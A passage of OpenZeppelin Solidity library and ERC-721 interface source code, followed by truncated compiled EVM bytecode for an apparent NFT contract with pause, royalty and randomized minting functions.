{IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol";
0x608060405234801561001057600080fd5b506004361061021c5760003560e01c80636c0360eb1161012557806395d89b41116100ad578063c87b56dd1161007c578063c87b56dd146105cc578063e0549211146105fc578063e985e9c514610618578063ea7b4f7714610648578063f2fde38b146106645761021c565b806395d89b4114610558578063a22cb46514610576578063a2ae5b2314610592578063b88d4fde146105b05761021c565b806383c14f19116100f457806383c14f19146104ec5780638456cb591461050a5780638467be0d146105145780638678a7b2146105305780638da5cb5b1461053a5761021c565b80636c0360eb1461046457806370a0823114610482578063715018a6146104b257806376aed2e1146104bc5761021c565b80632974dc30116101a85780633f4ba83a116101775780633f4ba83a146103d457806342842e0e146103de57806355f804b3146103fa5780635c975abb146104165780636352211e146104345761021c565b80632974dc301461034b5780632a55205a146103675780632d183a48146103985780633b6fd2cf146103b65761021c565b806310a7eb5d116101ef57806310a7eb5d146102bb57806318160ddd146102d75780631fe543e3146102f557806323b872dd1461031157806326987b601461032d5761021c565b806301ffc9a71461022157806306fdde0314610251578063081812fc1461026f578063095ea7b31461029f575b600080fd5b61023b60048036038101906102369190612b21565b610680565b6040516102489190612b69565b60405180910390f35b610259610762565b6040516102669190612c1d565b60405180910390f35b61028960048036038101906102849190612c75565b6107f4565b6040516102969190612ce3565b60405180910390f35b6102b960048036038101906102b49190612d2a565b610879565b005b6102d560048036038101906102d09190612d6a565b610991565b005b6102df610ac1565b6040516102ec9190612da6565b60405180910390f35b61030f600480360381019061030a9190612f09565b610ac7565b005b61032b60048036038101906103269190612f65565b610b87565b005b610335610be7565b6040516103429190612da6565b60405180910390f35b61036560048036038101906103609190612ff2565b610bed565b005b610381600480360381019061037c919061301f565b610c89565b60405161038f92919061305f565b60405180910390f35b6103a0610cd9565b6040516103ad9190612da6565b60405180910390f35b6103be610cdf565b6040516103cb9190612ce3565b60405180910390f35b6103dc610d05565b005b6103f860048036038101906103f39190612f65565b610d8b565b005b610414600480360381019061040f919061313d565b610dab565b005b61041e610e41565b60405161042b9190612b69565b60405180910390f35b61044e60048036038101906104499190612c75565b610e58565b60405161045b9190612ce3565b60405180910390f35b61046c610f0a565b6040516104799190612c1d565b60405180910390f35b61049c60048036038101906104979190612d6a565b610f98565b6040516104a99190612da6565b60405180910390f35b6104ba611050565b005b6104d660048036038101906104d19190612c75565b6110d8565b6040516104e391906131fd565b60405180910390f35b6104f461114d565b6040516105019190612da6565b60405180910390f35b610512611153565b005b61052e60048036038101906105299190612c75565b6111d9565b005b610538611703565b005b610542611854565b60405161054f9190612ce3565b60405180910390f35b61056061187e565b60405161056d9190612c1d565b60405180910390f35b610590600480360381019061058b9190613244565b611910565b005b61059a611926565b6040516105a79190613293565b60405180910390f35b6105ca60048036038101906105c5919061334f565b61193a565b005b6105e660048036038101906105e19190612c75565b61199c565b6040516105f39190612c1d565b60405180910390f35b61061660048036038101906106119190613408565b611a18565b005b610632600480360381019061062d9190613435565b611a9e565b60405161063f9190612b69565b60405180910390f35b610662600480360381019061065d91906134b5565b611b84565b005b61067e60048036038101906106799190612d6a565b611c2c565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061074b57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061075b575061075a82611d24565b5b9050919050565b60606000805461077190613511565b80601f016020809104026020016040519081016040528092919081815260200182805461079d90613511565b80156107ea5780601f106107bf576101008083540402835291602001916107ea565b820191906000526020600020905b8154815290600101906020018083116107cd57829003601f168201915b5050505050905090565b60006107ff82611d8e565b61083e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610835906135b5565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061088482610e58565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ec90613647565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610914611dfa565b73ffffffffffffffffffffffffffffffffffffffff16148061094357506109428161093d611dfa565b611a9e565b5b610982576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610979906136d9565b60405180910390fd5b61098c8383611e02565b505050565b610999611dfa565b73ffffffffffffffffffffffffffffffffffffffff166109b7611854565b73ffffffffffffffffffffffffffffffffffffffff1614610a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0490613745565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a74906137b1565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b7f000000000000000000000000271682deb8c4e0901d1a1550ad2e64d568e6990973ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7957337f000000000000000000000000271682deb8c4e0901d1a1550ad2e64d568e699096040517f1cf993f4000000000000000000000000000000000000000000000000000000008152600401610b709291906137d1565b60405180910390fd5b610b838282611ebb565b5050565b610b98610b92611dfa565b82611f8e565b610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce9061386c565b60405180910390fd5b610be283838361206c565b505050565b60095481565b610bf5611dfa565b73ffffffffffffffffffffffffffffffffffffffff16610c13611854565b73ffffffffffffffffffffffffffffffffffffffff1614610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6090613745565b60405180910390fd5b80600c60146101000a81548161ffff021916908361ffff16021790555050565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691506127106101f461ffff1684610cc691906138bb565b610cd09190613944565b90509250929050565b600a5481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d0d611dfa565b73ffffffffffffffffffffffffffffffffffffffff16610d2b611854565b73ffffffffffffffffffffffffffffffffffffffff1614610d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7890613745565b60405180910390fd5b610d896122c8565b565b610da68383836040518060200160405280600081525061193a565b505050565b610db3611dfa565b73ffffffffffffffffffffffffffffffffffffffff16610dd1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1e90613745565b60405180910390fd5b8060089080519060200190610e3d929190612a12565b5050565b6000600660149054906101000a900460ff16905090565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef8906139e7565b60405180910390fd5b80915050919050565b60088054610f1790613511565b80601f0160208091040260200160405190810160405280929190818152602001828054610f4390613511565b8015610f905780601f10610f6557610100808354040283529160200191610f90565b820191906000526020600020905b815481529060010190602001808311610f7357829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100090613a79565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611058611dfa565b73ffffffffffffffffffffffffffffffffffffffff16611076611854565b73ffffffffffffffffffffffffffffffffffffffff16146110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c390613745565b60405180910390fd5b6110d6600061236a565b565b60006107d0821061111e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111590613ae5565b60405180910390fd5b60058210156111305760029050611148565b6101138210156111435760019050611148565b600090505b919050565b600b5481565b61115b611dfa565b73ffffffffffffffffffffffffffffffffffffffff16611179611854565b73ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690613745565b60405180910390fd5b6111d7612430565b565b6111e1611dfa565b73ffffffffffffffffffffffffffffffffffffffff166111ff611854565b73ffffffffffffffffffffffffffffffffffffffff1614611255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124c90613745565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff1660e01b81526004016020604051808303816000875af11580156112c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e89190613b1a565b611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e90613b93565b60405180910390fd5b6000600b54141561136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490613bff565b60405180910390fd5b60008160115461137d9190613c1f565b9050600060115490505b818110156116f7576000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166374e0f7c0836040518263ffffffff1660e01b81526004016113ec9190612da6565b6020604051808303816000875af115801561140b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142f9190613c8a565b9050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a96d5a27826040518263ffffffff1660e01b815260040161148c9190612ce3565b6020604051808303816000875af11580156114ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114cf9190613ccc565b6114d882610f98565b106114e357506116e4565b60006114ee82610f98565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a96d5a27846040518263ffffffff1660e01b81526004016115499190612ce3565b6020604051808303816000875af1158015611568573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158c9190613ccc565b6115969190613cf9565b905060005b818110156116715760006115ad6124d3565b9050836002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a450808061166990613d2d565b91505061159b565b5080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c19190613c1f565b9250508190555080600760008282546116da9190613c1f565b9250508190555050505b80806116ef90613d2d565b915050611387565b50806011819055505050565b61170b611dfa565b73ffffffffffffffffffffffffffffffffffffffff16611729611854565b73ffffffffffffffffffffffffffffffffffffffff161461177f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177690613745565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635d3b1d30600f54600e60149054906101000a900467ffffffffffffffff16600c60149054906101000a900461ffff16621e848060026040518663ffffffff1660e01b815260040161180e959493929190613e24565b6020604051808303816000875af115801561182d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118519190613ccc565b50565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461188d90613511565b80601f01602080910402602001604051908101604052809291908181526020018280546118b990613511565b80156119065780601f106118db57610100808354040283529160200191611906565b820191906000526020600020905b8154815290600101906020018083116118e957829003601f168201915b5050505050905090565b61192261191b611dfa565b8383612538565b5050565b600c60149054906101000a900461ffff1681565b61194b611945611dfa565b83611f8e565b61198a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119819061386c565b60405180910390fd5b611996848484846126a5565b50505050565b60606119a782611d8e565b6119e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119dd90613ec3565b60405180910390fd5b60086119f183612701565b604051602001611a02929190613fff565b6040516020818303038152906040529050919050565b611a20611dfa565b73ffffffffffffffffffffffffffffffffffffffff16611a3e611854565b73ffffffffffffffffffffffffffffffffffffffff1614611a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8b90613745565b60405180910390fd5b80600f8190555050565b60007358807bad0b376efc12f5ad86aac70e78ed67deae73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611af15760019050611b7e565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690505b92915050565b611b8c611dfa565b73ffffffffffffffffffffffffffffffffffffffff16611baa611854565b73ffffffffffffffffffffffffffffffffffffffff1614611c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf790613745565b60405180910390fd5b80600e60146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555050565b611c34611dfa565b73ffffffffffffffffffffffffffffffffffffffff16611c52611854565b73ffffffffffffffffffffffffffffffffffffffff1614611ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9f90613745565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0f906140a0565b60405180910390fd5b611d218161236a565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611e7583610e58565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b620f424081600081518110611ed357611ed26140c0565b5b6020026020010151611ee591906140ef565b600a81905550620186a081600181518110611f0357611f026140c0565b5b6020026020010151611f1591906140ef565b600b8190555060016107db600b54611f2d91906140ef565b11611f4d57600a600b6000828254611f459190613c1f565b925050819055505b7f4cb4c8c7cdd2329e18f47b5769b506289b762a57c35355a9926a2a21e0431c94600a54600b54604051611f82929190614120565b60405180910390a15050565b6000611f9982611d8e565b611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf906141bb565b60405180910390fd5b6000611fe383610e58565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061205257508373ffffffffffffffffffffffffffffffffffffffff1661203a846107f4565b73ffffffffffffffffffffffffffffffffffffffff16145b8061206357506120628185611a9e565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661208c82610e58565b73ffffffffffffffffffffffffffffffffffffffff16146120e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d99061424d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612152576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612149906142df565b60405180910390fd5b61215d838383612862565b612168600082611e02565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121b89190613cf9565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461220f9190613c1f565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6122d0610e41565b61230f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123069061434b565b60405180910390fd5b6000600660146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa612353611dfa565b6040516123609190612ce3565b60405180910390a1565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612438610e41565b15612478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246f906143b7565b60405180910390fd5b6001600660146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586124bc611dfa565b6040516124c99190612ce3565b60405180910390a1565b6000805b6107db600a54600960008154809291906124f090613d2d565b91905055600b5461250191906138bb565b61250b9190613c1f565b61251591906140ef565b90506107d08110158061252d575061252c81611d8e565b5b6124d7578091505090565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259e90614423565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516126989190612b69565b60405180910390a3505050565b6126b084848461206c565b6126bc84848484612867565b6126fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f2906144b5565b60405180910390fd5b50505050565b60606000821415612749576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061285d565b600082905060005b6000821461277b57808061276490613d2d565b915050600a826127749190613944565b9150612751565b60008167ffffffffffffffff81111561279757612796612dc6565b5b6040519080825280601f01601f1916602001820160405280156127c95781602001600182028036833780820191505090505b5090505b60008514612856576001826127e29190613cf9565b9150600a856127f191906140ef565b60306127fd9190613c1f565b60f81b818381518110612813576128126140c0565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561284f9190613944565b94506127cd565b8093505050505b919050565b505050565b60006128888473ffffffffffffffffffffffffffffffffffffffff166129ef565b156129e2578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026128b1611dfa565b8786866040518563ffffffff1660e01b81526004016128d3949392919061452a565b6020604051808303816000875af192505050801561290f57506040513d601f19601f8201168201806040525081019061290c919061458b565b60015b612992573d806000811461293f576040519150601f19603f3d011682016040523d82523d6000602084013e612944565b606091505b5060008151141561298a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612981906144b5565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506129e7565b600190505b949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b828054612a1e90613511565b90600052602060002090601f016020900481019282612a405760008555612a87565b82601f10612a5957805160ff1916838001178555612a87565b82800160010185558215612a87579182015b82811115612a86578251825591602001919060010190612a6b565b5b509050612a949190612a98565b5090565b5b80821115612ab1576000816000905550600101612a99565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b612afe81612ac9565b8114612b0957600080fd5b50565b600081359050612b1b81612af5565b92915050565b600060208284031215612b3757612